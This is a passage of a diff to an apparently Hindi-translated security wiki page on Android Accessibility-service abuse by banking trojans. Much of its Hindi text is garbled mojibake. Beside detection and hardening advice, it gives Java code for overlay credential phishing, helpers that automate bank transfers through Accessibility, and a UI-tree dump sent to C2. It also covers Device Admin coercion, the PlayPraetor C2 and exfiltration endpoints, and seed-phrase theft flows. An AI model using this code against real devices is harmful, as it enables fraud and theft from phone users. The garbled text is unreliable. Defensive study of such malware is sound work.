рд╣рдорд▓рд╛рд╡рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +* рд╕реНрдХреНрд░реАрди рдЕрдирд▓реЙрдХ рдХрд░рдирд╛, рдмреИрдВрдХрд┐рдВрдЧ рдРрдк рдЦреЛрд▓рдирд╛, рдЗрд╕рдХреЗ UI tree рдореЗрдВ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдирд╛ рдФрд░ рдПрдХ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдлреЙрд░реНрдо рд╕рдмрдорд┐рдЯ рдХрд░рдирд╛ред +* рдЙрднрд░рдиреЗ рд╡рд╛рд▓реА рд╣рд░ permission dialog рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдирд╛ред +* Play Store intent рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд APKs рдЗрдВрд╕реНрдЯреЙрд▓/рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛ред --- ## рджреБрд░реБрдкрдпреЛрдЧ рдкреИрдЯрд░реНрди -### 1. рдУрд╡рд░рд▓реЗ рдлрд╝рд┐рд╢рд┐рдВрдЧ (рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╣рд╛рд░реНрд╡реЗрд╕реНрдЯрд┐рдВрдЧ) -рдПрдХ рдкрд╛рд░рджрд░реНрд╢реА рдпрд╛ рдЕрдкрд╛рд░рджрд░реНрд╢реА `WebView` рдХреЛ рд╡рд┐рдВрдбреЛ рдкреНрд░рдмрдВрдзрдХ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ: +### 1. Overlay Phishing (Credential Harvesting) +рдПрдХ рдкрд╛рд░рджрд░реНрд╢реА рдпрд╛ рдЕрдкрд╛рд░рджрд░реНрд╢реА `WebView` рд╡рд┐рдВрдбреЛ рдореИрдиреЗрдЬрд░ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, @@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` -The victim types credentials into the fake form while the background app receives the same gestures тАУ рдХреЛрдИ рд╕рдВрджрд┐рдЧреНрдз "рдЕрдиреНрдп рдРрдкреНрд╕ рдкрд░ рдбреНрд░реЙ рдХрд░реЗрдВ" рдкреНрд░реЙрдореНрдкреНрдЯ рдХрднреА рдирд╣реАрдВ рджрд┐рдЦрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +The victim fake рдлреЙрд░реНрдо рдореЗрдВ credentials рдЯрд╛рдЗрдк рдХрд░рддрд╛ рд╣реИ рдЬрдмрдХрд┐ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб app рд╡рд╣реА gestures рд░рд┐рд╕реАрд╡ рдХрд░ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИ тАФ рдХреЛрдИ рд╕рдВрджрд┐рдЧреНрдз "draw over other apps" prompt рдХрднреА рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддрд╛ред -> рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдг: *Accessibility Overlay Phishing* рдЕрдиреБрднрд╛рдЧ Tapjacking рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░ред +> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page. -### 2. рдСрди-рдбрд┐рд╡рд╛рдЗрд╕ рдзреЛрдЦрд╛рдзрдбрд╝реА рд╕реНрд╡рдЪрд╛рд▓рди -**PlayPraetor** рдЬреИрд╕реЗ рдореИрд▓рд╡реЗрдпрд░ рдкрд░рд┐рд╡рд╛рд░ рдПрдХ рд╕реНрдерд╛рдпреА WebSocket рдЪреИрдирд▓ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ рдСрдкрд░реЗрдЯрд░ рдЙрдЪреНрдЪ-рд╕реНрддрд░реАрдп рдЖрджреЗрд╢ рдЬрд╛рд░реА рдХрд░ рд╕рдХрддрд╛ рд╣реИ (`init`, `update`, `alert_arr`, `report_list`, тАж)ред рдпрд╣ рд╕реЗрд╡рд╛ рдЙрди рдЖрджреЗрд╢реЛрдВ рдХреЛ рдКрдкрд░ рджрд┐рдП рдЧрдП рдирд┐рдореНрди-рд╕реНрддрд░реАрдп рдЗрд╢рд╛рд░реЛрдВ рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдореЗрдВ рдЕрдирдзрд┐рдХреГрдд рд▓реЗрдирджреЗрди рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдЙрд╕ рд╡рд┐рд╢реЗрд╖ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдЬреБрдбрд╝реЗ рдорд▓реНрдЯреА-рдлреИрдХреНрдЯрд░-рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рджреЗрддреЗ рд╣реИрдВред +### 2. On-Device Fraud automation +Malware families such as **PlayPraetor** рдПрдХ persistent WebSocket рдЪреИрдирд▓ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ operator high-level commands (`init`, `update`, `alert_arr`, `report_list`, тАж) рдЬрд╛рд░реА рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╕рд░реНрд╡рд┐рд╕ рдЙрди commands рдХреЛ рдКрдкрд░ рдмрддрд╛рдП low-level gestures рдореЗрдВ рдЯреНрд░рд╛рдВрд╕рд▓реЗрдЯ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ real-time unauthorized transactions рд╕рдВрднрд╡ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдЙрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдЬреБрдбрд╝реА multi-factor-authentication рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ bypass рдХрд░ рд▓реЗрддреЗ рд╣реИрдВред -### 3. рд╕реНрдХреНрд░реАрди рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧ рдФрд░ рдирд┐рдЧрд░рд╛рдиреА -**MediaProjection API** рдХреЛ RTMP рдХреНрд▓рд╛рдЗрдВрдЯ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░, RAT рд▓рд╛рдЗрд╡ рдлреНрд░реЗрдордмрдлрд░ рдХреЛ `rtmp://<c2>:1935/live/<device_id>` рдкрд░ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддрд┐рдХреВрд▓ рдкрдХреНрд╖ рдХреЛ рдкреВрд░реНрдг рд╕реНрдерд┐рддрд┐ рдЬрд╛рдЧрд░реВрдХрддрд╛ рдорд┐рд▓рддреА рд╣реИ рдЬрдмрдХрд┐ Accessibility рдЗрдВрдЬрди UI рдХреЛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред +### 3. Screen streaming & monitoring +By combining the **MediaProjection API** with an RTMP client library, the RAT live framebuffer рдХреЛ `rtmp://<c2>:1935/live/<device_id>` рдкрд░ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ adversary рдХреЛ perfect situational awareness рдорд┐рд▓рддреА рд╣реИ рдЬрдмрдХрд┐ Accessibility engine UI рдбреНрд░рд╛рдЗрд╡ рдХрд░рддреА рд╣реИред --- -## PlayPraetor тАУ рдХрдорд╛рдВрдб рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣ +## PlayPraetor тАУ command & control workflow -1. **HTTP(S) рд╣рд╛рд░реНрдЯрдмреАрдЯ** тАУ рдПрдХ рд╣рд╛рд░реНрдб-рдХреЛрдбреЗрдб рд╕реВрдЪреА рдкрд░ рджреЛрд╣рд░рд╛рдПрдВ рдЬрдм рддрдХ рдПрдХ рдбреЛрдореЗрди `POST /app/searchPackageName` рдХреЗ рд╕рд╛рде рд╕рдХреНрд░рд┐рдп C2 рдХрд╛ рдЙрддреНрддрд░ рдирд╣реАрдВ рджреЗрддрд╛ред -2. **WebSocket (рдкреЛрд░реНрдЯ 8282)** тАУ рджреНрд╡рд┐рджрд┐рд╢рд╛рддреНрдордХ JSON рдЖрджреЗрд╢: +1. **HTTP(S) heartbeat** тАУ hard-coded list рдкрд░ iterate рдХрд░реЗрдВ рдЬрдм рддрдХ рдХреЛрдИ domain `POST /app/searchPackageName` рдХреЗ рд╕рд╛рде active C2 рдмрддрд╛рдХрд░ рдЬрд╡рд╛рдм рди рджреЗред +2. **WebSocket (port 8282)** тАУ рджреНрд╡рд┐-рдорд╛рд░реНрдЧреА JSON commands: * `update` тАУ рдирдП conf/APKs рдкреБрд╢ рдХрд░реЗрдВ -* `alert_arr` тАУ рдУрд╡рд░рд▓реЗ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ -* `report_list` тАУ рд▓рдХреНрд╖рд┐рдд рдкреИрдХреЗрдЬ рдирд╛рдореЛрдВ рдХреА рд╕реВрдЪреА рднреЗрдЬреЗрдВ -* `heartbeat_web` тАУ рдЬреАрд╡рд┐рдд рд░рдЦреЗрдВ -3. **RTMP (рдкреЛрд░реНрдЯ 1935)** тАУ рд▓рд╛рдЗрд╡ рд╕реНрдХреНрд░реАрди/рд╡реАрдбрд┐рдпреЛ рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧред -4. **REST рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди** тАУ -* `/app/saveDevice` (рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ) +* `alert_arr` тАУ overlay templates рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ +* `report_list` тАУ targeted package names рдХреА рд╕реВрдЪреА рднреЗрдЬреЗрдВ +* `heartbeat_web` тАУ keep-alive +3. **RTMP (port 1935)** тАУ рд▓рд╛рдЗрд╡ рд╕реНрдХреНрд░реАрди/рд╡реАрдбрд┐рдпреЛ рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧред +4. **REST exfiltration** тАУ +* `/app/saveDevice` (fingerprint) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` -* `/app/saveCardPwd` (рдмреИрдВрдХ рдХреНрд░реЗрдбреНрд╕) +* `/app/saveCardPwd` (bank creds) -**AccessibilityService** рд╡рд╣ рд╕реНрдерд╛рдиреАрдп рдЗрдВрдЬрди рд╣реИ рдЬреЛ рдЙрди рдХреНрд▓рд╛рдЙрдб рдЖрджреЗрд╢реЛрдВ рдХреЛ рднреМрддрд┐рдХ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдореЗрдВ рдмрджрд▓рддрд╛ рд╣реИред +The **AccessibilityService** рд╡рд╣ рд▓реЛрдХрд▓ рдЗрдВрдЬрди рд╣реИ рдЬреЛ рдЙрди рдХреНрд▓рд╛рдЙрдб commands рдХреЛ physical interactions рдореЗрдВ рдмрджрд▓рддрд╛ рд╣реИред --- -## рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ +## Detecting malicious accessibility services * `adb shell settings get secure enabled_accessibility_services` -* рд╕реЗрдЯрд┐рдВрдЧреНрд╕ тЖТ рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА тЖТ *рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рд╕реЗрд╡рд╛рдПрдВ* тАУ рдЙрди рдРрдкреНрд╕ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ **Google Play** рд╕реЗ **рдирд╣реАрдВ** рд╣реИрдВред -* MDM / EMM рд╕рдорд╛рдзрд╛рди `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) рдХреЛ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рд╛рдЗрдбрд▓реЛрдбреЗрдб рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред -* рдЪрд▓ рд░рд╣реА рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ: +* Settings тЖТ Accessibility тЖТ *Downloaded services* тАУ рдЙрди apps рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ Google Play рд╕реЗ **рдирд╣реАрдВ** рд╣реИрдВред +* MDM / EMM solutions `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ sideloaded services рдмреНрд▓реЙрдХ рд╣реЛ рд╕рдХреЗрдВред +* рдЪрд▓ рд░рд╣реА рд╕рд░реНрд╡рд┐рд╕реЗрдЬрд╝ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ: ```bash adb shell dumpsys accessibility | grep "Accessibility Service" ``` --- -## рдРрдк рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ рд╕рд┐рдлрд╛рд░рд┐рд╢реЗрдВ +## Hardening recommendations for app developers -* рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рджреГрд╢реНрдп рдХреЛ `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) рдХреЗ рд╕рд╛рде рдЪрд┐рд╣реНрдирд┐рдд рдХрд░реЗрдВред -* рдЯреИрдк/рдУрд╡рд░рд▓реЗ рд╣рд╛рдИрдЬреИрдХрд┐рдВрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП `setFilterTouchesWhenObscured(true)` рдХреЛ `FLAG_SECURE` рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдПрдВред -* `WindowManager.getDefaultDisplay().getFlags()` рдпрд╛ `ViewRootImpl` API рджреНрд╡рд╛рд░рд╛ рдУрд╡рд░рд▓реЗ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред -* рдЬрдм `Settings.canDrawOverlays()` **рдпрд╛** рдПрдХ рдЧреИрд░-рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп Accessibility рд╕реЗрд╡рд╛ рд╕рдХреНрд░рд┐рдп рд╣реЛ, рддреЛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░реЗрдВред +* рд╕рдВрд╡реЗрджрдирд╢реАрд▓ views рдХреЛ `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) рдХреЗ рд╕рд╛рде рдорд╛рд░реНрдХ рдХрд░реЗрдВред +* `setFilterTouchesWhenObscured(true)` рдХреЛ `FLAG_SECURE` рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдПрдБ рддрд╛рдХрд┐ tap/overlay hijacking рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред +* рдУрд╡рд░рд▓реЗ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП `WindowManager.getDefaultDisplay().getFlags()` рдпрд╛ `ViewRootImpl` API рдХреЛ рдкреЛрд▓ рдХрд░реЗрдВред +* рддрдм рдСрдкрд░реЗрдЯ рдХрд░рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░реЗрдВ рдЬрдм `Settings.canDrawOverlays()` **рдпрд╛** рдХреЛрдИ рдЧреИрд░-рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп Accessibility service рд╕рдХреНрд░рд┐рдп рд╣реЛред --- -## рд╕рдВрджрд░реНрдн +## ATS automation cheat-sheet (Accessibility-driven) +Malware рдХреЗрд╡рд▓ Accessibility APIs рдХреЗ рд╕рд╛рде рдПрдХ bank app рдХреЛ рдкреВрд░реА рддрд░рд╣ рдСрдЯреЛрдореЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред Generic primitives: +```java +// Helpers inside your AccessibilityService +private List<AccessibilityNodeInfo> byText(String t){ +AccessibilityNodeInfo r = getRootInActiveWindow(); +return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); +} +private boolean clickText(String t){ +for (AccessibilityNodeInfo n: byText(t)){ +if (n.isClickable()) return n.performAction(ACTION_CLICK); +AccessibilityNodeInfo p = n.getParent(); +if (p != null) return p.performAction(ACTION_CLICK); +} +return false; +} +private void inputText(AccessibilityNodeInfo field, String text){ +Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); +field.performAction(ACTION_SET_TEXT, b); +} +private void tap(float x, float y){ +Path p = new Path(); p.moveTo(x,y); +dispatchGesture(new GestureDescription.Builder() +.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); +} +``` +рдЙрджрд╛рд╣рд░рдг рдкреНрд░рд╡рд╛рд╣ (Czech тЖТ English рд▓реЗрдмрд▓): +- "Nov├б platba" (рдирдпрд╛ рднреБрдЧрддрд╛рди) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ +- "Zadat platbu" (рднреБрдЧрддрд╛рди рджрд░реНрдЬ рдХрд░реЗрдВ) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ +- "Nov├╜ p┼Щ├нjemce" (рдирдпрд╛ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ +- "Dom├бc├н ─Н├нslo ├║─Нtu" (рдШрд░реЗрд▓реВ рдЦрд╛рддрд╛ рд╕рдВрдЦреНрдпрд╛) тЖТ рдлрд╝реЛрдХрд╕ рдХрд░реЗрдВ рдФрд░ `ACTION_SET_TEXT` +- "Dal┼б├н" (рдЕрдЧрд▓рд╛) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ тЖТ тАж "Zaplatit" (рднреБрдЧрддрд╛рди) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ тЖТ PIN рджрд░реНрдЬ рдХрд░реЗрдВ + +Fallback: рдХрд╕реНрдЯрдо widgets рдХреЗ рдХрд╛рд░рдг text lookup рд╡рд┐рдлрд▓ рд╣реЛрдиреЗ рдкрд░ hard-coded coordinates рдХреЗ рд╕рд╛рде `dispatchGesture` рдХрд╛ рдЙрдкрдпреЛрдЧред + +рджрд┐рдЦрд╛ рдЧрдпрд╛: рдЯреНрд░рд╛рдВрд╕рдлрд░ рд╕реЗ рдкрд╣рд▓реЗ limits UI рдкрд░ рдЬрд╛рдХрд░ рджреИрдирд┐рдХ рд▓рд┐рдорд┐рдЯ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП `check_limit` рдФрд░ `limit` рдХреЗ рдкреНрд░реА-рд╕реНрдЯреЗрдкреНрд╕ред + +## Text-based pseudo-screen streaming +рдХрдо-рд▓реЗрдЯреЗрдВрд╕реА рд░рд┐рдореЛрдЯ рдХрдВрдЯреНрд░реЛрд▓ рдХреЗ рд▓рд┐рдП, рдкреВрд░реНрдг рд╡реАрдбрд┐рдпреЛ рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧ рдХреА рдмрдЬрд╛рдп, рд╡рд░реНрддрдорд╛рди UI tree рдХрд╛ рдЯреЗрдХреНрд╕реНрдЯреБрдЕрд▓ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдбрдВрдк рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдмрд╛рд░-рдмрд╛рд░ C2 рдкрд░ рднреЗрдЬреЗрдВред +```java +private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ +if (n==null) return; +Rect b = new Rect(); n.getBoundsInScreen(b); +CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); +sb.append(indent).append("[").append(cls).append("] ") +.append(txt==null?"":txt).append(" ") +.append(b.toShortString()).append("\n"); +for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb); +} +``` +рдпрд╣ `txt_screen` (рдПрдХ-рдмрд╛рд░) рдФрд░ `screen_live` (рд▓рдЧрд╛рддрд╛рд░) рдЬреИрд╕реЗ рдХрдорд╛рдВрдбреНрд╕ рдХрд╛ рдЖрдзрд╛рд░ рд╣реИред + +## Device Admin рдЬрдмрд░рди рдирд┐рдпрдВрддреНрд░рдг рдХреА рдореВрд▓ рдХреНрд░рд┐рдпрд╛рдПрдБ +рдПрдХ рдмрд╛рд░ Device Admin receiver рд╕рдХреНрд░рд┐рдп рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдпреЗ рдХреЙрд▓реНрд╕ credentials capture рдХрд░рдиреЗ рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рдЕрд╡рд╕рд░ рдмрдврд╝рд╛ рджреЗрддреА рд╣реИрдВ: +```java +DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); +ComponentName admin = new ComponentName(this, AdminReceiver.class); + +// 1) Immediate lock +dpm.lockNow(); + +// 2) Force credential change (expire current PIN/password) +dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android + +// 3) Disable biometric unlock to force PIN/pattern entry +int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS; +dpm.setKeyguardDisabledFeatures(admin, flags); +``` +рдиреЛрдЯ: рдЗрди рдиреАрддрд┐рдпреЛрдВ рдХреА рд╕рдЯреАрдХ рдЙрдкрд▓рдмреНрдзрддрд╛ Android version рдФрд░ OEM рдХреЗ рдЕрдиреБрд╕рд╛рд░ рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИ; рдкрд░реАрдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди device policy role (admin vs owner) рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВред + +## Crypto wallet seed-phrase extraction patterns +MetaMask, Trust Wallet, Blockchain.com рдФрд░ Phantom рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗ рдЧрдП рдлреНрд▓реЛ: +- рдЪреЛрд░реА рдХрд┐рдП рдЧрдП PIN (captured via overlay/Accessibility) рдпрд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП wallet password рд╕реЗ рдЕрдирд▓реЙрдХ рдХрд░реЗрдВред +- рдиреЗрд╡рд┐рдЧреЗрдЯ: Settings тЖТ Security/Recovery тЖТ Reveal/Show recovery phrase. +- рдЯреЗрдХреНрд╕реНрдЯ рдиреЛрдбреНрд╕ рдХреА keylogging, secure-screen bypass, рдпрд╛ рдЬрдм рдЯреЗрдХреНрд╕реНрдЯ рдЫрд┐рдкрд╛ рд╣реЛ рддреЛ screenshot OCR рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ phrase рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВред +- selectors рдХреЛ рд╕реНрдерд┐рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП multiple locales (EN/RU/CZ/SK) рдХрд╛ рд╕рдкреЛрд░реНрдЯ тАФ рдЙрдкрд▓рдмреНрдз рд╣реЛрдиреЗ рдкрд░ `viewIdResourceName` рдкрд╕рдВрдж рдХрд░реЗрдВ, рдирд╣реАрдВ рддреЛ multilingual text matching рдкрд░ fallback рдХрд░реЗрдВред + +## NFC-relay orchestration +Accessibility/RAT modules рддреАрд╕рд░реЗ рд╕реНрдЯреЗрдЬ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ dedicated NFC-relay app (e.g., NFSkate) рдЗрдВрд╕реНрдЯреЙрд▓ рдФрд░ рд▓реЙрдиреНрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ victim рдХреЛ card-present relay steps рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ overlay guide рднреА inject рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +рдкреГрд╖реНрдарднреВрдорд┐ рдФрд░ TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay + +--- + +## References * [PlayPraetorтАЩs evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) * [Android accessibility documentation тАУ Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) +* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +* [GhostTap/NFSkate тАУ NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}}